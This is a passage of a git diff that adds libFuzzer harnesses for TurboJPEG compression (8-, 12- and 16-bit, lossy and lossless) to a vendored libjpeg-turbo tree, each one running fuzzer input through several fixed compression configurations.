CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#include "../src/turbojpeg.h" +#include +#include +#include +#include +#include + +extern "C" unsigned char * +_tj3LoadImageFromFileHandle8(tjhandle handle, FILE *file, int *width, + int align, int *height, int *pixelFormat); + + +#define NUMTESTS 7 + + +struct test { + int bottomUp; + enum TJPF pf; + int colorspace; + enum TJSAMP subsamp; + int fastDCT, quality, optimize, progressive, arithmetic, noRealloc, + restartRows; +}; + + +extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) +{ + tjhandle handle = NULL; + unsigned char *imgBuf = NULL, *srcBuf, *dstBuf = NULL; + int width = 0, height = 0, ti; + FILE *file = NULL; + struct test tests[NUMTESTS] = { + /* + BU Pixel JPEG Subsampling Fst Qual Opt Prg Ari No Rst + Format Colorspace Level DCT Realc Rows */ + { 1, TJPF_RGB, TJCS_RGB, TJSAMP_444, 0, 100, 0, 0, 0, 0, 2 }, + { 0, TJPF_BGR, TJCS_YCbCr, TJSAMP_422, 0, 90, 0, 1, 0, 0, 0 }, + { 0, TJPF_RGBX, TJCS_YCbCr, TJSAMP_420, 1, 75, 0, 0, 1, 1, 0 }, + { 0, TJPF_BGRA, TJCS_YCbCr, TJSAMP_411, 0, 50, 0, 1, 1, 0, 0 }, + { 0, TJPF_XRGB, TJCS_GRAY, TJSAMP_GRAY, 0, 25, 0, 0, 0, 0, 0 }, + { 0, TJPF_GRAY, TJCS_GRAY, TJSAMP_GRAY, 0, 10, 0, 0, 0, 0, 0 }, + { 0, TJPF_CMYK, TJCS_YCCK, TJSAMP_440, 0, 1, 1, 0, 0, 0, 2 } + }; + + if ((file = fmemopen((void *)data, size, "r")) == NULL) + goto bailout; + + if ((handle = tj3Init(TJINIT_COMPRESS)) == NULL) + goto bailout; + + for (ti = 0; ti < NUMTESTS; ti++) { + int pf = tests[ti].pf; + size_t dstSize = 0, maxBufSize, i, sum = 0; + + /* Test non-default compression options on specific iterations. */ + tj3Set(handle, TJPARAM_BOTTOMUP, tests[ti].bottomUp); + tj3Set(handle, TJPARAM_COLORSPACE, tests[ti].colorspace); + tj3Set(handle, TJPARAM_FASTDCT, tests[ti].fastDCT); + tj3Set(handle, TJPARAM_OPTIMIZE, tests[ti].optimize); + tj3Set(handle, TJPARAM_PROGRESSIVE, tests[ti].progressive); + tj3Set(handle, TJPARAM_ARITHMETIC, tests[ti].arithmetic); + tj3Set(handle, TJPARAM_NOREALLOC, tests[ti].noRealloc); + tj3Set(handle, TJPARAM_RESTARTROWS, tests[ti].restartRows); + + tj3Set(handle, TJPARAM_MAXPIXELS, 1048576); + /* tj3LoadImage8() will refuse to load images larger than 1 Megapixel, so + we don't need to check the width and height here. */ + fseek(file, 0, SEEK_SET); + if ((imgBuf = _tj3LoadImageFromFileHandle8(handle, file, &width, 1, + &height, &pf)) == NULL) { + if (size < 2) + continue; + + /* Derive image dimensions from input data. Use first 2 bytes to + influence width/height. */ + width = (data[0] % 64) + 8; /* 8-71 */ + height = (data[1] % 64) + 8; /* 8-71 */ + + size_t required_size = 2 + (size_t)width * height * + tjPixelSize[tests[ti].pf]; + if (size < required_size) { + /* Not enough data - try smaller dimensions */ + width = 8; + height = 8; + required_size = 2 + (size_t)width * height * + tjPixelSize[tests[ti].pf]; + if (size < required_size) + continue; + } + + /* Skip header bytes. */ + srcBuf = (unsigned char *)data + 2; + } else + srcBuf = imgBuf; + + dstSize = maxBufSize = tj3JPEGBufSize(width, height, tests[ti].subsamp); + if (tj3Get(handle, TJPARAM_NOREALLOC)) { + if ((dstBuf = (unsigned char *)tj3Alloc(dstSize)) == NULL) + goto bailout; + } else + dstBuf = NULL; + + if (size >= 34) + tj3SetICCProfile(handle, (unsigned char *)&data[2], 32); + + tj3Set(handle, TJPARAM_SUBSAMP, tests[ti].subsamp); + tj3Set(handle, TJPARAM_QUALITY, tests[ti].quality); + if (tj3Compress8(handle, srcBuf, width, 0, height, pf, &dstBuf, + &dstSize) == 0) { + /* Touch all of the output data in order to catch uninitialized reads + when using MemorySanitizer. */ + for (i = 0; i < dstSize; i++) + sum += dstBuf[i]; + } + + tj3Free(dstBuf); + dstBuf = NULL; + tj3Free(imgBuf); + imgBuf = NULL; + + /* Prevent the sum above from being optimized out. This test should never + be true, but the compiler doesn't know that. */ + if (sum > 255 * maxBufSize) + goto bailout; + } + +bailout: + tj3Free(dstBuf); + tj3Free(imgBuf); + if (file) fclose(file); + tj3Destroy(handle); + return 0; +} diff --git a/lib/libjpeg-turbo/fuzz/compress12.cc b/lib/libjpeg-turbo/fuzz/compress12.cc new file mode 100755 index 0000000..882967f --- /dev/null +++ b/lib/libjpeg-turbo/fuzz/compress12.cc @@ -0,0 +1,161 @@ +/* + * Copyright (C) 2021, 2023-2026 D. R. Commander. All Rights Reserved. + * Copyright (C) 2025 Leslie P. Polzer. All Rights Reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * - Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * - Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * - Neither the name of the libjpeg-turbo Project nor the names of its + * contributors may be used to endorse or promote products derived from this + * software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS", + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#include "../src/turbojpeg.h" +#include +#include +#include +#include +#include + +extern "C" short * +_tj3LoadImageFromFileHandle12(tjhandle handle, FILE *file, int *width, + int align, int *height, int *pixelFormat); + + +#define NUMTESTS 7 + + +struct test { + int bottomUp; + enum TJPF pf; + int colorspace; + enum TJSAMP subsamp; + int fastDCT, quality, progressive, arithmetic, noRealloc, restartRows; +}; + + +extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) +{ + tjhandle handle = NULL; + short *imgBuf = NULL, *srcBuf; + unsigned char *dstBuf = NULL; + int width = 0, height = 0, ti; + FILE *file = NULL; + struct test tests[NUMTESTS] = { + /* + BU Pixel JPEG Subsampling Fst Qual Prg Ari No Rst + Format Colorspace Level DCT Realc Rows */ + { 0, TJPF_RGB, TJCS_YCbCr, TJSAMP_444, 1, 100, 0, 0, 1, 0 }, + { 0, TJPF_BGR, TJCS_YCbCr, TJSAMP_422, 0, 90, 0, 0, 0, 0 }, + { 0, TJPF_RGBX, TJCS_RGB, TJSAMP_420, 0, 75, 0, 1, 0, 1 }, + { 0, TJPF_BGRA, TJCS_YCbCr, TJSAMP_411, 0, 50, 0, 0, 0, 0 }, + { 0, TJPF_XRGB, TJCS_GRAY, TJSAMP_GRAY, 0, 25, 0, 0, 0, 0 }, + { 0, TJPF_GRAY, TJCS_GRAY, TJSAMP_GRAY, 0, 10, 1, 0, 0, 0 }, + { 1, TJPF_CMYK, TJCS_YCCK, TJSAMP_440, 0, 1, 1, 1, 0, 1 } + }; + + if ((file = fmemopen((void *)data, size, "r")) == NULL) + goto bailout; + + if ((handle = tj3Init(TJINIT_COMPRESS)) == NULL) + goto bailout; + + for (ti = 0; ti < NUMTESTS; ti++) { + int pf = tests[ti].pf; + size_t dstSize = 0, maxBufSize, i, sum = 0; + + /* Test non-default compression options on specific iterations. */ + tj3Set(handle, TJPARAM_BOTTOMUP, tests[ti].bottomUp); + tj3Set(handle, TJPARAM_COLORSPACE, tests[ti].colorspace); + tj3Set(handle, TJPARAM_FASTDCT, tests[ti].fastDCT); + tj3Set(handle, TJPARAM_PROGRESSIVE, tests[ti].progressive); + tj3Set(handle, TJPARAM_ARITHMETIC, tests[ti].arithmetic); + tj3Set(handle, TJPARAM_NOREALLOC, tests[ti].noRealloc); + tj3Set(handle, TJPARAM_RESTARTROWS, tests[ti].restartRows); + + tj3Set(handle, TJPARAM_MAXPIXELS, 1048576); + /* tj3LoadImage12() will refuse to load images larger than 1 Megapixel, so + we don't need to check the width and height here. */ + fseek(file, 0, SEEK_SET); + if ((imgBuf = _tj3LoadImageFromFileHandle12(handle, file, &width, 1, + &height, &pf)) == NULL) { + if (size < 2) + continue; + + /* Derive image dimensions from input data. Use first 2 bytes to + influence width/height. */ + width = (data[0] % 64) + 8; /* 8-71 */ + height = (data[1] % 64) + 8; /* 8-71 */ + + size_t required_size = 2 + (size_t)width * height * + tjPixelSize[tests[ti].pf] * 2; + if (size < required_size) { + /* Not enough data - try smaller dimensions */ + width = 8; + height = 8; + required_size = 2 + (size_t)width * height * + tjPixelSize[tests[ti].pf] * 2; + if (size < required_size) + continue; + } + + /* Skip header bytes. */ + srcBuf = (short *)(data + 2); + } else + srcBuf = imgBuf; + + dstSize = maxBufSize = tj3JPEGBufSize(width, height, tests[ti].subsamp); + if (tj3Get(handle, TJPARAM_NOREALLOC)) { + if ((dstBuf = (unsigned char *)tj3Alloc(dstSize)) == NULL) + goto bailout; + } else + dstBuf = NULL; + + if (size >= 34) + tj3SetICCProfile(handle, (unsigned char *)&data[2], 32); + + tj3Set(handle, TJPARAM_SUBSAMP, tests[ti].subsamp); + tj3Set(handle, TJPARAM_QUALITY, tests[ti].quality); + if (tj3Compress12(handle, srcBuf, width, 0, height, pf, &dstBuf, + &dstSize) == 0) { + /* Touch all of the output data in order to catch uninitialized reads + when using MemorySanitizer. */ + for (i = 0; i < dstSize; i++) + sum += dstBuf[i]; + } + + tj3Free(dstBuf); + dstBuf = NULL; + tj3Free(imgBuf); + imgBuf = NULL; + + /* Prevent the sum above from being optimized out. This test should never + be true, but the compiler doesn't know that. */ + if (sum > 255 * maxBufSize) + goto bailout; + } + +bailout: + tj3Free(dstBuf); + tj3Free(imgBuf); + if (file) fclose(file); + tj3Destroy(handle); + return 0; +} diff --git a/lib/libjpeg-turbo/fuzz/compress12_lossless.cc b/lib/libjpeg-turbo/fuzz/compress12_lossless.cc new file mode 100755 index 0000000..151c440 --- /dev/null +++ b/lib/libjpeg-turbo/fuzz/compress12_lossless.cc @@ -0,0 +1,157 @@ +/* + * Copyright (C) 2021-2026 D. R. Commander. All Rights Reserved. + * Copyright (C) 2025 Leslie P. Polzer. All Rights Reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * - Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * - Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * - Neither the name of the libjpeg-turbo Project nor the names of its + * contributors may be used to endorse or promote products derived from this + * software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS", + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#include "../src/turbojpeg.h" +#include +#include +#include +#include +#include + +extern "C" short * +_tj3LoadImageFromFileHandle12(tjhandle handle, FILE *file, int *width, + int align, int *height, int *pixelFormat); + + +#define NUMTESTS 7 + + +struct test { + int bottomUp; + enum TJPF pf; + int precision, psv, pt, noRealloc, restartRows; +}; + + +extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) +{ + tjhandle handle = NULL; + short *imgBuf = NULL, *srcBuf; + unsigned char *dstBuf = NULL; + int width = 0, height = 0, ti; + FILE *file = NULL; + struct test tests[NUMTESTS] = { + /* + BU Pixel Data PSV Pt No Rst + Format Prec Realc Rows */ + { 1, TJPF_RGB, 12, 1, 0, 1, 1 }, + { 0, TJPF_BGR, 11, 2, 2, 1, 0 }, + { 0, TJPF_RGBX, 10, 3, 4, 0, 0 }, + { 0, TJPF_BGRA, 9, 4, 7, 1, 0 }, + { 0, TJPF_XRGB, 12, 5, 5, 1, 0 }, + { 0, TJPF_GRAY, 12, 6, 3, 1, 0 }, + { 0, TJPF_CMYK, 12, 7, 0, 1, 1 } + }; + + if ((file = fmemopen((void *)data, size, "r")) == NULL) + goto bailout; + + if ((handle = tj3Init(TJINIT_COMPRESS)) == NULL) + goto bailout; + + for (ti = 0; ti < NUMTESTS; ti++) { + int pf = tests[ti].pf; + size_t dstSize = 0, maxBufSize, i, sum = 0; + + /* Test non-default compression options on specific iterations. */ + tj3Set(handle, TJPARAM_BOTTOMUP, tests[ti].bottomUp); + tj3Set(handle, TJPARAM_NOREALLOC, tests[ti].noRealloc); + tj3Set(handle, TJPARAM_PRECISION, tests[ti].precision); + tj3Set(handle, TJPARAM_RESTARTROWS, tests[ti].restartRows); + + tj3Set(handle, TJPARAM_MAXPIXELS, 1048576); + /* tj3LoadImage12() will refuse to load images larger than 1 Megapixel, so + we don't need to check the width and height here. */ + fseek(file, 0, SEEK_SET); + if ((imgBuf = _tj3LoadImageFromFileHandle12(handle, file, &width, 1, + &height, &pf)) == NULL) { + if (size < 2) + continue; + + /* Derive image dimensions from input data. Use first 2 bytes to + influence width/height. */ + width = (data[0] % 64) + 8; /* 8-71 */ + height = (data[1] % 64) + 8; /* 8-71 */ + + size_t required_size = 2 + (size_t)width * height * + tjPixelSize[tests[ti].pf] * 2; + if (size < required_size) { + /* Not enough data - try smaller dimensions */ + width = 8; + height = 8; + required_size = 2 + (size_t)width * height * + tjPixelSize[tests[ti].pf] * 2; + if (size < required_size) + continue; + } + + /* Skip header bytes. */ + srcBuf = (short *)(data + 2); + } else + srcBuf = imgBuf; + + dstSize = maxBufSize = tj3JPEGBufSize(width, height, TJSAMP_444); + if (tj3Get(handle, TJPARAM_NOREALLOC)) { + if ((dstBuf = (unsigned char *)tj3Alloc(dstSize)) == NULL) + goto bailout; + } else + dstBuf = NULL; + + if (size >= 34) + tj3SetICCProfile(handle, (unsigned char *)&data[2], 32); + + tj3Set(handle, TJPARAM_LOSSLESS, 1); + tj3Set(handle, TJPARAM_LOSSLESSPSV, tests[ti].psv); + tj3Set(handle, TJPARAM_LOSSLESSPT, tests[ti].pt); + if (tj3Compress12(handle, srcBuf, width, 0, height, pf, &dstBuf, + &dstSize) == 0) { + /* Touch all of the output data in order to catch uninitialized reads + when using MemorySanitizer. */ + for (i = 0; i < dstSize; i++) + sum += dstBuf[i]; + } + + tj3Free(dstBuf); + dstBuf = NULL; + tj3Free(imgBuf); + imgBuf = NULL; + + /* Prevent the sum above from being optimized out. This test should never + be true, but the compiler doesn't know that. */ + if (sum > 255 * maxBufSize) + goto bailout; + } + +bailout: + tj3Free(dstBuf); + tj3Free(imgBuf); + if (file) fclose(file); + tj3Destroy(handle); + return 0; +} diff --git a/lib/libjpeg-turbo/fuzz/compress16_lossless.cc b/lib/libjpeg-turbo/fuzz/compress16_lossless.cc new file mode 100755 index 0000000..32b0f5a --- /dev/null +++ b/lib/libjpeg-turbo/fuzz/compress16_lossless.cc @@ -0,0 +1,157 @@ +/* + * Copyright (C) 2021-2026 D. R. Commander. All Rights Reserved. + * Copyright (C) 2025 Leslie P. Polzer. All Rights Reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * - Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * - Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * - Neither the name of the libjpeg-turbo Project nor the names of its + * contributors may be used to endorse or promote products derived from this + * software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS", + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#include "../src/turbojpeg.h" +#include +#include +#include +#include +#include + +extern "C" unsigned short * +_tj3LoadImageFromFileHandle16(tjhandle handle, FILE *file, int *width, + int align, int *height, int *pixelFormat); + + +#define NUMTESTS 7 + + +struct test { + int bottomUp; + enum TJPF pf; + int precision, psv, pt, noRealloc, restartRows; +}; + + +extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) +{ + tjhandle handle = NULL; + unsigned short *imgBuf = NULL, *srcBuf; + unsigned char *dstBuf = NULL; + int width = 0, height = 0, ti; + FILE *file = NULL; + struct test tests[NUMTESTS] = { + /* + BU Pixel Data PSV Pt No Rst + Format Prec Realc Rows */ + { 1, TJPF_RGB, 16, 1, 0, 1, 1 }, + { 0, TJPF_BGR, 15, 2, 2, 1, 0 }, + { 0, TJPF_RGBX, 14, 3, 4, 0, 0 }, + { 0, TJPF_BGRA, 13, 4, 7, 1, 0 }, + { 0, TJPF_XRGB, 16, 5, 5, 1, 0 }, + { 0, TJPF_GRAY, 16, 6, 3, 1, 0 }, + { 0, TJPF_CMYK, 16, 7, 0, 1, 1 } + }; + + if ((file = fmemopen((void *)data, size, "r")) == NULL) + goto bailout; + + if ((handle = tj3Init(TJINIT_COMPRESS)) == NULL) + goto bailout; + + for (ti = 0; ti < NUMTESTS; ti++) { + int pf = tests[ti].pf; + size_t dstSize = 0, maxBufSize, i, sum = 0; + + /* Test non-default compression options on specific iterations. */ + tj3Set(handle, TJPARAM_BOTTOMUP, tests[ti].bottomUp); + tj3Set(handle, TJPARAM_NOREALLOC, tests[ti].noRealloc); + tj3Set(handle, TJPARAM_PRECISION, tests[ti].precision); + tj3Set(handle, TJPARAM_RESTARTROWS, tests[ti].restartRows); + + tj3Set(handle, TJPARAM_MAXPIXELS, 1048576); + /* tj3LoadImage16() will refuse to load images larger than 1 Megapixel, so + we don't need to check the width and height here. */ + fseek(file, 0, SEEK_SET); + if ((imgBuf = _tj3LoadImageFromFileHandle16(handle, file, &width, 1, + &height, &pf)) == NULL) { + if (size < 2) + continue; + + /* Derive image dimensions from input data. Use first 2 bytes to + influence width/height. */ + width = (data[0] % 64) + 8; /* 8-71 */ + height = (data[1] % 64) + 8; /* 8-71 */ + + size_t required_size = 2 + (size_t)width * height * + tjPixelSize[tests[ti].pf] * 2; + if (size < required_size) { + /* Not enough data - try smaller dimensions */ + width = 8; + height = 8; + required_size = 2 + (size_t)width * height * + tjPixelSize[tests[ti].pf] * 2; + if (size < required_size) + continue; + } + + /* Skip header bytes. */ + srcBuf = (unsigned short *)(data + 2); + } else + srcBuf = imgBuf; + + dstSize = maxBufSize = tj3JPEGBufSize(width, height, TJSAMP_444); + if (tj3Get(handle, TJPARAM_NOREALLOC)) { + if ((dstBuf = (unsigned char *)tj3Alloc(dstSize)) == NULL) + goto bailout; + } else + dstBuf = NULL; + + if (size >= 34) + tj3SetICCProfile(handle, (unsigned char *)&data[2], 32); + + tj3Set(handle, TJPARAM_LOSSLESS, 1); + tj3Set(handle, TJPARAM_LOSSLESSPSV, tests[ti].psv); + tj3Set(handle, TJPARAM_LOSSLESSPT, tests[ti].pt); + if (tj3Compress16(handle, srcBuf, width, 0, height, pf, &dstBuf, + &dstSize) == 0) { + /* Touch all of the output data in order to catch uninitialized reads + when using MemorySanitizer. */ + for (i = 0; i < dstSize; i++) + sum += dstBuf[i]; + } + + tj3Free(dstBuf); + dstBuf = NULL; + tj3Free(imgBuf); + imgBuf = NULL; + + /* Prevent the sum above from being optimized out. This test should never + be true, but the compiler doesn't know that. */ + if (sum > 255 * maxBufSize) + goto bailout; + } + +bailout: + tj3Free(dstBuf); + tj3Free(imgBuf); + if (file) fclose(file); + tj3Destroy(handle); + return 0; +} diff --git a/lib/libjpeg-turbo/fuzz/compress_lossless.cc b/lib/libjpeg-turbo/fuzz/compress_lossless.cc new file mode 100755 index 0000000..6a5e9a5 --- /dev/null +++ b/lib/libjpeg-turbo/fuzz/compress_lossless.cc @@ -0,0 +1,156 @@ +/* + * Copyright (C) 2021-2026 D. R. Commander. All Rights Reserved. + * Copyright (C) 2025 Leslie P. Polzer. All Rights Reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * - Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * - Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * - Neither the name of the libjpeg-turbo Project nor the names of its + * contributors may be used to endorse or promote products derived from this + * software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS", + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#include "../src/turbojpeg.h" +#include +#include +#include +#include +#include + +extern "C" unsigned char * +_tj3LoadImageFromFileHandle8(tjhandle handle, FILE *file, int *width, + int align, int *height, int *pixelFormat); + + +#define NUMTESTS 7 + + +struct test { + int bottomUp; + enum TJPF pf; + int precision, psv, pt, noRealloc, restartRows; +}; + + +extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) +{ + tjhandle handle = NULL; + unsigned char *imgBuf = NULL, *srcBuf, *dstBuf = NULL; + int width = 0, height = 0, ti; + FILE *file = NULL; + struct test tests[NUMTESTS] = { + /* + BU Pixel Data PSV Pt No Rst + Format Prec Realc Rows */ + { 0, TJPF_RGB, 8, 1, 0, 1, 1 }, + { 0, TJPF_BGR, 7, 2, 5, 1, 0 }, + { 0, TJPF_RGBX, 6, 3, 4, 0, 0 }, + { 0, TJPF_BGRA, 5, 4, 1, 1, 0 }, + { 1, TJPF_XRGB, 4, 5, 3, 1, 0 }, + { 0, TJPF_GRAY, 3, 6, 2, 1, 0 }, + { 0, TJPF_CMYK, 2, 7, 0, 1, 1 } + }; + + if ((file = fmemopen((void *)data, size, "r")) == NULL) + goto bailout; + + if ((handle = tj3Init(TJINIT_COMPRESS)) == NULL) + goto bailout; + + for (ti = 0; ti < NUMTESTS; ti++) { + int pf = tests[ti].pf; + size_t dstSize = 0, maxBufSize, i, sum = 0; + + /* Test non-default compression options on specific iterations. */ + tj3Set(handle, TJPARAM_BOTTOMUP, tests[ti].bottomUp); + tj3Set(handle, TJPARAM_NOREALLOC, tests[ti].noRealloc); + tj3Set(handle, TJPARAM_PRECISION, tests[ti].precision); + tj3Set(handle, TJPARAM_RESTARTROWS, tests[ti].restartRows); + + tj3Set(handle, TJPARAM_MAXPIXELS, 1048576); + /* tj3LoadImage8() will refuse to load images larger than 1 Megapixel, so + we don't need to check the width and height here. */ + fseek(file, 0, SEEK_SET); + if ((imgBuf = _tj3LoadImageFromFileHandle8(handle, file, &width, 1, + &height, &pf)) == NULL) { + if (size < 2) + continue; + + /* Derive image dimensions from input data. Use first 2 bytes to + influence width/height. */ + width = (data[0] % 64) + 8; /* 8-71 */ + height = (data[1] % 64) + 8; /* 8-71 */ + + size_t required_size = 2 + (size_t)width * height * + tjPixelSize[tests[ti].pf]; + if (size < required_size) { + /* Not enough data - try smaller dimensions */ + width = 8; + height = 8; + required_size = 2 + (size_t)width * height * + tjPixelSize[tests[ti].pf]; + if (size < required_size) + continue; + } + + /* Skip header bytes. */ + srcBuf = (unsigned char *)data + 2; + } else + srcBuf = imgBuf; + + dstSize = maxBufSize = tj3JPEGBufSize(width, height, TJSAMP_444); + if (tj3Get(handle, TJPARAM_NOREALLOC)) { + if ((dstBuf = (unsigned char *)tj3Alloc(dstSize)) == NULL) + goto bailout; + } else + dstBuf = NULL; + + if (size >= 34) + tj3SetICCProfile(handle, (unsigned char *)&data[2], 32); + + tj3Set(handle, TJPARAM_LOSSLESS, 1); + tj3Set(handle, TJPARAM_LOSSLESSPSV, tests[ti].psv); + tj3Set(handle, TJPARAM_LOSSLESSPT, tests[ti].pt); + if (tj3Compress8(handle, srcBuf, width, 0, height, pf, &dstBuf, + &dstSize) == 0) { + /* Touch all of the output data in order to catch uninitialized reads + when using MemorySanitizer. */ + for (i = 0; i < dstSize; i++) + sum += dstBuf[i]; + } + + tj3Free(dstBuf); + dstBuf = NULL; + tj3Free(imgBuf); + imgBuf = NULL; + + /* Prevent the sum above from being optimized out. This test should never + be true, but the compiler doesn't know that. */ + if (sum > 255 * maxBufSize) + goto bailout; + } + +bailout: + tj3Free(dstBuf); + tj3Free(imgBuf); + if (file) fclose(file); + tj3Destroy(handle); + return 0; +} diff --git a/lib/libjpeg-turbo/fuzz/compress_yuv.cc b/lib/libjpeg-turbo/fuzz/compress_yuv.cc new file mode 100755 index 0000000..48beb6d --- /dev/null +++ b/lib/libjpeg-turbo/fuzz/compress_yuv.cc @@ -0,0 +1,161 @@ +/* + * Copyright (C) 2021-2026 D. R. Commander. All Rights Reserved. + * Copyright (C) 2025 Leslie P. Polzer. All Rights Reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * - Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * - Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * - Neither the name of the libjpeg-turbo Project nor the names of its + * contributors may be used to endorse or promote products derived from this + * software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS", + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF 